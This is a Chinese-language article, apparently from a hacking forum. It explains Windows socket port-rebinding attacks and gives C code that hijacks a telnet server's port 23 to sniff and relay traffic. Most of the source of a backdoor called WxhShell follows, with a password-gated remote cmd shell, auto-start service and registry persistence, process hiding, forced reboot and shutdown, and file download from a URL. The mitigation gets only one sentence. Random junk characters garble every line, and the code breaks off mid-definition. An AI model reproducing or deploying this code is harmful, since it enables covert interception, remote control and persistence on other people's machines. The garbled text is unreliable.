在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3?5JY;}h>" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
S"HdjEF7\ I'}&s|6 saddr.sin_family = AF_INET;
JVydTvc #x*\dL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~bf4_5 H%pD9'q~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e>0gE`8A DaP,3>M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AT%6K. $+w:W85B 这意味着什么?意味着可以进行如下的攻击:
41g
"7Mk CVE(N/&b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5:|9pe) &n9&k
Em 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,Wv+Ek ~[<C6{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#zRHYZc'T| Wz%H?m:g# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
galzk $D jI Entk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
G>=Fdt7Oc 9A~w2z\G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rtNYX=P U$|q]N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e.\dqt~%y <p/zm}?') #include
bMn)lrsX #include
-U*J5Q #include
Qo32oT[DM #include
,.Lwtp,n DWORD WINAPI ClientThread(LPVOID lpParam);
;.'?(iEB int main()
9TX2h0U? {
LAkBf WORD wVersionRequested;
PriLV4? DWORD ret;
FY<Q|Ov WSADATA wsaData;
4M#i_.`z BOOL val;
h+=IxF4 SOCKADDR_IN saddr;
":0u%E?s SOCKADDR_IN scaddr;
By waD? int err;
%_."JT$v{ SOCKET s;
k3K*{"z SOCKET sc;
{]2^b ) int caddsize;
eAmI~oku HANDLE mt;
_K}q%In DWORD tid;
nrHC;R.nE wVersionRequested = MAKEWORD( 2, 2 );
aq)g&.dw? err = WSAStartup( wVersionRequested, &wsaData );
, #=TputM if ( err != 0 ) {
s_ t/ printf("error!WSAStartup failed!\n");
C~egF=w return -1;
tn#cVB3 }
fLnwA|n= saddr.sin_family = AF_INET;
3Q'vVNFh< /poGhB1k //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|.VSw 4GbfA
.u saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y?TS, saddr.sin_port = htons(23);
@Ddz|4 vEi if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
( <YBvpt4> {
EsGf+-}|!0 printf("error!socket failed!\n");
6R,Y.srR return -1;
Q,:{(R }
tL3R<' val = TRUE;
^3[_4av //SO_REUSEADDR选项就是可以实现端口重绑定的
6se8`[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l]4=W<N {
b"uO BB printf("error!setsockopt failed!\n");
~P#mvQE) return -1;
0N^+d,Xt. }
PChe w3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hw,nA2w\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Vm|KL3}NRv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G<M0KU( hs[x\:})/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y_X jY {
aX`uF<c9 ret=GetLastError();
E447'aJ printf("error!bind failed!\n");
+q'\rpt return -1;
?h6|N%U' }
ulxfxfd listen(s,2);
WW+xU0 while(1)
("\{=XAQ {
Ie(i1?`A8 caddsize = sizeof(scaddr);
Ym1vq= //接受连接请求
]f#s`.A~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
E/g"}yR if(sc!=INVALID_SOCKET)
s>m2qSu {
yfK}1mx)j mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
VxBBZsZO~ if(mt==NULL)
g:z<CSIq/ {
D#UuIZ printf("Thread Creat Failed!\n");
''YqxJ fb break;
I<O$);DV' }
N]w_9p~=1 }
O`c+y CloseHandle(mt);
&nP0T-T5y }
gE _+r closesocket(s);
Vx(*OQ WSACleanup();
/1MmOB return 0;
"aOs#4N }
RqgN<&g? DWORD WINAPI ClientThread(LPVOID lpParam)
:a6LfPEAX {
d!E_EoOi SOCKET ss = (SOCKET)lpParam;
tsAV46S SOCKET sc;
H0;Iv#S! unsigned char buf[4096];
4d`YZNvZW/ SOCKADDR_IN saddr;
qFD ZD)K long num;
}3^m>i*8 DWORD val;
*[{j'7*cc DWORD ret;
sSh{.XuB+3 //如果是隐藏端口应用的话,可以在此处加一些判断
&1$d`>fn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
r|EN 5 saddr.sin_family = AF_INET;
aOH|[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^K;k4oK saddr.sin_port = htons(23);
EY )2, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
. :Skc {
j:h}ka/!p printf("error!socket failed!\n");
\IE![=p\w return -1;
HohCb4do }
!HvA5'|:} val = 100;
pR$(V4> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|tGUx*NN {
6N#hN)/ ret = GetLastError();
>\d&LLAe return -1;
oT-gZedW( }
|Y>Jf~SN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^O18\a {
I.n,TJoz4J ret = GetLastError();
!&{rnK return -1;
{4D`VfX_ }
5dm ~yQN/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
SXk.7bMV6 {
o]4]fLQ printf("error!socket connect failed!\n");
x~V[}4E%> closesocket(sc);
j(=w4Sd_W closesocket(ss);
hm,{C return -1;
(-gomn }
h^SWb91"G while(1)
f' ?/P~[ {
Q#\Nhc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
d5$D[,`1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
t>[W]%op //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V`y^m@U! num = recv(ss,buf,4096,0);
17 Ugz? if(num>0)
4rU/2}.q send(sc,buf,num,0);
hq
3n&/ else if(num==0)
Nap[=[rv break;
vN Bg&m num = recv(sc,buf,4096,0);
|NuMDVd+s if(num>0)
Wef%f]u send(ss,buf,num,0);
C|V7ZL>W else if(num==0)
;Z]Wj9iY break;
e$Ksn_wEq }
BS9VwG<Z closesocket(ss);
(xHmucmwp closesocket(sc);
zmo2uUEd return 0 ;
$-}&RW9 }
%T({;/ Sc7 Ftb% 4j={ 9e< ==========================================================
V4[-:k !Y ,7% 下边附上一个代码,,WXhSHELL
AS7L Az&>.* ==========================================================
\N9=13W<lK P_(8+)ud- #include "stdafx.h"
'z$$ZEz!C F\m^slsu7= #include <stdio.h>
z`wIb #include <string.h>
Zw]"p63eMa #include <windows.h>
.nPOjwEx&Y #include <winsock2.h>
JOJ.79CT #include <winsvc.h>
#L*\ ^ c #include <urlmon.h>
Lc{AB!Br ANhqS #pragma comment (lib, "Ws2_32.lib")
aJ'Fn #pragma comment (lib, "urlmon.lib")
32wtN8kx #AJW-+1g.= #define MAX_USER 100 // 最大客户端连接数
cnu&!>8V #define BUF_SOCK 200 // sock buffer
IL*B@E8 #define KEY_BUFF 255 // 输入 buffer
x3q^}sj% y
bhFDx #define REBOOT 0 // 重启
?2]fE[SqY #define SHUTDOWN 1 // 关机
@7Ec(]yp 39v Bsc #define DEF_PORT 5000 // 监听端口
QP(0 y98FEG#S} #define REG_LEN 16 // 注册表键长度
"wgPPop #define SVC_LEN 80 // NT服务名长度
M+ +Dk7B }9^:(ty2A // 从dll定义API
P~j#8cH7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)ros-dp` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ZC?~RXL( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
t<45[~[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(Ceru o S 0>28o. // wxhshell配置信息
;/Hr ZhOE struct WSCFG {
"*bLFORkq' int ws_port; // 监听端口
K(+=V)'Dz char ws_passstr[REG_LEN]; // 口令
UD-+BUV int ws_autoins; // 安装标记, 1=yes 0=no
|{#St-!-7 char ws_regname[REG_LEN]; // 注册表键名
Ok!P~2J char ws_svcname[REG_LEN]; // 服务名
L]=]/>jQ6 char ws_svcdisp[SVC_LEN]; // 服务显示名
YK/? mj1x char ws_svcdesc[SVC_LEN]; // 服务描述信息
Qc7*p]E& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[+\He/M6 int ws_downexe; // 下载执行标记, 1=yes 0=no
2j-l<!s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$MR1
*_\V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
pr<u
5 Cj=R\@ };
<f>77vh0 Y2L{oQ.C2 // default Wxhshell configuration
NfoHQU<n struct WSCFG wscfg={DEF_PORT,
MSCH6R"5 "xuhuanlingzhe",
\l/(L5gY 1,
d:'{h"M6 "Wxhshell",
*$A`+D9 "Wxhshell",
hkPMu@BI "WxhShell Service",
hi(b\ABx "Wrsky Windows CmdShell Service",
5iw\F!op: "Please Input Your Password: ",
#(tdJ<HvC| 1,
z4YDngf=4 "
http://www.wrsky.com/wxhshell.exe",
N3u06 "Wxhshell.exe"
/4;mjE };
y6$a:6 JG;}UuHYM // 消息定义模块
uH89oA/H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}ILBX4c char *msg_ws_prompt="\n\r? for help\n\r#>";
*$9U/ d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I bD
u+~) char *msg_ws_ext="\n\rExit.";
tR!C8:u char *msg_ws_end="\n\rQuit.";
|>ztx}\ char *msg_ws_boot="\n\rReboot...";
)<QX2~m< char *msg_ws_poff="\n\rShutdown...";
~>@~U] char *msg_ws_down="\n\rSave to ";
-8)Hulo/{U ef'kG"1 char *msg_ws_err="\n\rErr!";
[[[C`H@ char *msg_ws_ok="\n\rOK!";
2bCfY\k hJSvx char ExeFile[MAX_PATH];
"mn?* int nUser = 0;
Z66Xj-o HANDLE handles[MAX_USER];
AWcbbj6Nd int OsIsNt;
"}X+vd`` /4+L2O[ SERVICE_STATUS serviceStatus;
.s\lfBo9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
2*sTU &<><4MQ // 函数声明
a<-aE4wdm int Install(void);
_n:RA)4* int Uninstall(void);
>a975R*g int DownloadFile(char *sURL, SOCKET wsh);
\:@6(e Bh int Boot(int flag);
Wrp~OF0k void HideProc(void);
y{M7kYWtHV int GetOsVer(void);
r1HG$^ int Wxhshell(SOCKET wsl);
Kb]}p void TalkWithClient(void *cs);
,~3rY,y- int CmdShell(SOCKET sock);
^P,Pj z int StartFromService(void);
f%PLR9Nh5@ int StartWxhshell(LPSTR lpCmdLine);
1V]ws}XW GG%;~4#2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
azFJ-0n@" VOID WINAPI NTServiceHandler( DWORD fdwControl );
Gd|kAC
g e;v"d!H/ // 数据结构和表定义
U`[viH>K SERVICE_TABLE_ENTRY DispatchTable[] =
_p"u~j~%- {
U?dad}7 {wscfg.ws_svcname, NTServiceMain},
6Gg`ExcT5 {NULL, NULL}
G+fo'ThG };
[Q:mq=<Z% =oVC*b // 自我安装
a(~X int Install(void)
@(c^u; {
8AW}7.<5 char svExeFile[MAX_PATH];
v#gXXO[P1 HKEY key;
B.=n U strcpy(svExeFile,ExeFile);
(1cB Tf Jt}`oFQ5l // 如果是win9x系统,修改注册表设为自启动
:2KPvp7? if(!OsIsNt) {
i+(>w'=m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kMW9UUw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)*_G/<N)| RegCloseKey(key);
.(/HU Qn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aA$\iFYA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,|z@Dy RegCloseKey(key);
7(D)U)9h return 0;
Pek[j)g} }
PCwc= }
N( 7(~D=)B }
5$!idfDr|m else {
wdt2T8`I/ ?#a&eW // 如果是NT以上系统,安装为系统服务
Jqzw94 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2ih}?%H8 if (schSCManager!=0)
Syseiw {
:ek^M ( SC_HANDLE schService = CreateService
y=sae (
Lios1|5 schSCManager,
..Dm@m} wscfg.ws_svcname,
/&\V6=jA1 wscfg.ws_svcdisp,
Pm#/j; SERVICE_ALL_ACCESS,
iz^a Qx/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-J=6) SERVICE_AUTO_START,
r]-n, SERVICE_ERROR_NORMAL,
Ae=JG8Ht~ svExeFile,
hlreeXv NULL,
)n"0:"Ou NULL,
NA$)qX_ NULL,
u`wD6&y* NULL,
QDj%m %Xd NULL
c|3oa"6T> );
iOIq2&sV if (schService!=0)
4<tbZP3/6) {
rRe^7xGe7 CloseServiceHandle(schService);
s[a\m, CloseServiceHandle(schSCManager);
G0m$bi=z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
4S*ifl strcat(svExeFile,wscfg.ws_svcname);
v6DjNyg<x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>l8?B L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qi/k`T RegCloseKey(key);
74N_> 1!j return 0;
$aEv*{$y }
I*j~5fsS' }
_Q Hk&-Lp CloseServiceHandle(schSCManager);
[>>_%T\I }
oQpGa>6U& }
)?OdD7gd ,d*1|oUw return 1;
ez9F!1 }
&\ca ? # ]#DCO8Vk // 自我卸载
u(yN81 int Uninstall(void)
Ohj^Z&j {
Q}^Ip7T HKEY key;
1p5'.~J+Q y|+5R5}K if(!OsIsNt) {
&HLG<ISw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_'Jjt9@S RegDeleteValue(key,wscfg.ws_regname);
L|<j/bP RegCloseKey(key);
b 1.S21 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i._RMl5zg RegDeleteValue(key,wscfg.ws_regname);
Fs~*-R$ RegCloseKey(key);
x>mI$K(6M return 0;
1!V[fPJ }
3n)Kzexh }
8mmnnf{P }
.|u`s,\ else {
,[p pETz $bKXP( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E@otV6Wk[@ if (schSCManager!=0)
{S+?n[1r\ {
?7)v:$(G} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4~A$u^scn if (schService!=0)
"oiN8#Hf {
_vb'3~'S if(DeleteService(schService)!=0) {
)c*xKij CloseServiceHandle(schService);
qT$ IV\;_ CloseServiceHandle(schSCManager);
yogL8V-^4 return 0;
hC8WRxEGq }
8a@k6OZ CloseServiceHandle(schService);
OY(CB(2N }
q9_AL8_ CloseServiceHandle(schSCManager);
y5=,q]Qjk[ }
6/3E!8 }
yKrbGK*=_ BI%~0Gj8 return 1;
-1B. A }
#?r|6<4X ChUE,) // 从指定url下载文件
xx1l Ecj int DownloadFile(char *sURL, SOCKET wsh)
&QD)1b[U {
LHx ")H?, HRESULT hr;
2!}F+^8'P char seps[]= "/";
3
eF c char *token;
Hmm0H6&u char *file;
'MX|=K!C char myURL[MAX_PATH];
!%}n9vr!}\ char myFILE[MAX_PATH];
)M"NMUuU" @,= pG strcpy(myURL,sURL);
,J+L_S+B~ token=strtok(myURL,seps);
9XQE5^ while(token!=NULL)
bJ
6ivz {
6&'kN2 file=token;
wXp:XZ:]T token=strtok(NULL,seps);
QsxvA;7% }
wmVb0~[ 2V%z= GetCurrentDirectory(MAX_PATH,myFILE);
yU/?4/G! strcat(myFILE, "\\");
9 4H')( strcat(myFILE, file);
t\QLj&h}E send(wsh,myFILE,strlen(myFILE),0);
$X-PjQb1Bb send(wsh,"...",3,0);
&R.5t/x_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ORP<?SG55u if(hr==S_OK)
G na%|tUz| return 0;
W;R6+@I[ else
XNx$^I= return 1;
NBasf
n /'.gZo }
;CS[Ja>e QGOkB // 系统电源模块
EpR n,[ int Boot(int flag)
QPLWRZu@ {
hR0a5 HANDLE hToken;
ud)WH|Z TOKEN_PRIVILEGES tkp;
\WnTpl>B )YwEl72c if(OsIsNt) {
.H M3s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
E(6P%(yt8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*)B \M> tkp.PrivilegeCount = 1;
Va.TUz4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Md>C!c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
yc9!JJMkH if(flag==REBOOT) {
nG5\vj,zB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3t.!5L return 0;
v4E=)? }
'l\PL1 else {
Hci>q`p# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
iNl<<0a return 0;
OW=3t#"7Kp }
g8'8"9:xC }
tvVf)bbz else {
DFZ@q=ZT if(flag==REBOOT) {
z}-R^"40 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
D}}?{pe return 0;
>*O5Ry:4 }
d)biMI}<5 else {
rq7yNt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3k>#z%// return 0;
!wd
wo0 }
wDoCc: }
c-NUD$ &@{`{ return 1;
dVMl;{ }
Ca?w"m~h sl$y&C- // win9x进程隐藏模块
^Lfwoy7R void HideProc(void)
ZBY}Mz$ {
L3Y2HZ C^'r>0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/<[_V/g[t? if ( hKernel != NULL )
ZHeue_~x4 {
S/pU|zV[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y_W?7S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7=X6_AD FreeLibrary(hKernel);
p(I^Y{sGI }
Glw|*{$ MW+DqT.h return;
YZOwr72VL }
hTZ6@i/pS )$f?v22 // 获取操作系统版本
*UW 8|\; int GetOsVer(void)
BH^*K/^ {
#k>n5cR@0 OSVERSIONINFO winfo;
rmvrv.$3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
u:(=gj,~x GetVersionEx(&winfo);
0^J%&1a Ic if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4%qmwt*p return 1;
X1oR else
s8]%L4lvu return 0;
H@zv-{}T8 }
(ESFR0 mP15PZ // 客户端句柄模块
$(0<T<\ int Wxhshell(SOCKET wsl)
n;xzjq- {
rttKj{7E SOCKET wsh;
[-Y~g%M struct sockaddr_in client;
1z2v[S&pk DWORD myID;
IN1n^f$: #2Q%sE? while(nUser<MAX_USER)
%j1 7QD8 {
|SMigSu r` int nSize=sizeof(client);
#>_fYjT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}2BNy9q@ if(wsh==INVALID_SOCKET) return 1;
.@mZG<vg s/~[/2[bnf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?
B|i if(handles[nUser]==0)
im:[ViR { closesocket(wsh);
9%ct else
m^ar:mK@ nUser++;
Xu_1r8-|=b }
r:0RvWif WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Dvz 6 E VY~*QF~P return 0;
=|$U`~YB }
"tk1W>liIN U$a)lcJd // 关闭 socket
;{iTSsb void CloseIt(SOCKET wsh)
uW[AnQ1w {
Z9% u,Cb closesocket(wsh);
Pk5\v0vkg nUser--;
>yVrIko ExitThread(0);
^56D)A= }
3#udzC V5h_uGOD // 客户端请求句柄
e>!]_B1ad void TalkWithClient(void *cs)
5gx;Bp^_ {
*) \y52z 5$Kv%U SOCKET wsh=(SOCKET)cs;
.|L9}< char pwd[SVC_LEN];
60>g{1] char cmd[KEY_BUFF];
# vy[v22 char chr[1];
&2@Rc?!6_P int i,j;
C$at9=(E6 wp~KrUlR while (nUser < MAX_USER) {
T72Z<h|< Avljrds+7 if(wscfg.ws_passstr) {
zKYN5|17 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'S
v
V10$5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J$jLGy& ' //ZeroMemory(pwd,KEY_BUFF);
n3/Bs i=0;
=.m/X> while(i<SVC_LEN) {
srImk6YD #z_.!E // 设置超时
bccf4EyQ
Y fd_set FdRead;
UiK)m:NU struct timeval TimeOut;
/!"sPtIh FD_ZERO(&FdRead);
Z>1yLt@ls FD_SET(wsh,&FdRead);
[["eK9}0 TimeOut.tv_sec=8;
UNrO$aX!1' TimeOut.tv_usec=0;
ph2
_P[S' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Vn/FW?d7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4uE/!dT ;uZq_^?:9& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%_5?/H@%3z pwd
=chr[0]; iY sQ:3s
if(chr[0]==0xd || chr[0]==0xa) { a{ByU%
pwd=0; +]H!q
W:
break; 9a1R"%Z
} \)MzUOZn
i++; Esj1Vv#
} ^q}phj3E
b|k(:b-G&.
// 如果是非法用户,关闭 socket a[!:`o1U
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V2 ;?
} pnv)D}"
ESS1 L$y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8jky-r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uAk>VPuuZ
h2+"e# _
while(1) { H}usL)0&&
U?:?NC=1{
ZeroMemory(cmd,KEY_BUFF); {FN4BC`3+
[NGq$5
// 自动支持客户端 telnet标准 4*q6#=G
j=0; NPE 4@c_a@
while(j<KEY_BUFF) { \)g}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RM25]hx
cmd[j]=chr[0]; 9I1i(0q
if(chr[0]==0xa || chr[0]==0xd) { ;Q5o38(
cmd[j]=0; 6k|f]BCL
break; Fl==k
} `[_p,,}Ir
j++; T+5H2]yy)
} ronZa0
E.x<J.[Y
// 下载文件 `P;3,@
e
if(strstr(cmd,"http://")) { j2hp*C'^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gb^'u
if(DownloadFile(cmd,wsh)) `7V'A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^NxKA'oWQ
else fzjtaH?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7zNfq.Ni~
} r8_MIGM'
else { l>7?B2^<E
P$/Y9o
switch(cmd[0]) { \&v)#w
"t>H
B6^
// 帮助 +5Y;JL<%/
case '?': { >+[{m<Eq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %W2
o`W$
break; S)^eHuXPI
} jyRz53
// 安装 'z};tIOKJk
case 'i': { c8o2* C$
if(Install()) 8(-N;<Ef2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H ;HFen|
else zK: 2.4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6ZC~q=my
break; \%#luk@:
} Oh7wyQiV
// 卸载 Gfle"_4m8
case 'r': { !@)tkhP
if(Uninstall()) drB$q[Ak9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%]M a
else ~#P` 7G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=",58
break; 1L_(n
} h7}P5z0F
// 显示 wxhshell 所在路径 X/S%0AwZ
case 'p': { }~ga86:n0
char svExeFile[MAX_PATH]; cN:ek|r
strcpy(svExeFile,"\n\r"); !!v9\R4um
strcat(svExeFile,ExeFile); zgSv -h+f
send(wsh,svExeFile,strlen(svExeFile),0); `S]DHxS
break; H<3ayp$
} }pT>dbZ
// 重启 @.v{hkM`
case 'b': { ].N%A07
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ldx_+xa:E
if(Boot(REBOOT)) F:G
Vysy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;E\ e.R
else { 1KI5tf>>p
closesocket(wsh); @p9YHLxLjQ
ExitThread(0);
;.d{$SO
} >td\PW~X
break; <IQ}j^u-F
} e[.JS6
// 关机 hJoh5DIE95
case 'd': { 4~0@(3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r
4+%9)
if(Boot(SHUTDOWN)) P)06<n1">Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %T~LK=m
else { +?C7(-U>
closesocket(wsh); 8wzQr2:
ExitThread(0); 5S%#3YHY2
} }vX/55
break; n'<F'1SWv
} b5UIX Kim
// 获取shell g;</ |Z
case 's': { pIvr*UzY
CmdShell(wsh); {9h`h08?z
closesocket(wsh); RV6|sN[x>
ExitThread(0); \.MPjD
break; >m`<AynJ
} !4fT<V(
// 退出 Y^}c+)t
case 'x': { A}0u-W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O['5/:-
CloseIt(wsh); 'X1/tB8*
break; qyY]:
(8
} Q|W~6
// 离开 c8qwsp
case 'q': { e\H1IR3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); YR0.m%U,
closesocket(wsh); x`zE#sD
WSACleanup(); kwpbg Q
exit(1); G/_9!lE
break; 1(m[L=H5>
} NvjKB)J
} .^!uazPE0
} s!j vBy
a^Lo;kHY
// 提示信息 [7=?I.\Cr7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p!p:LSk"/b
} ,Zs*07!$f
} 4k=LVu]Kcr
43o!Vr/S
return; 6vebGf
} xw~&OF&
e4Jx%v?_P
// shell模块句柄 FDIOST !
int CmdShell(SOCKET sock) Gbc2\A\
{ 0D^c4[Y'l
STARTUPINFO si; 2g_2$)2
ZeroMemory(&si,sizeof(si)); *d,Z?S/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FKkL%:?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,Q>wcE6v
PROCESS_INFORMATION ProcessInfo; fdzaM&
char cmdline[]="cmd"; 1<&nHFJ;[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZD`0(CkXb
return 0; "A3V(~%!
} %&S :W%qm?
j<_)Y(x>
// 自身启动模式 ?wbf)fbq
int StartFromService(void) pwr]lV$w
{ 5s=L5]]r_j
typedef struct s%S; 9T
{ 'jd fUB
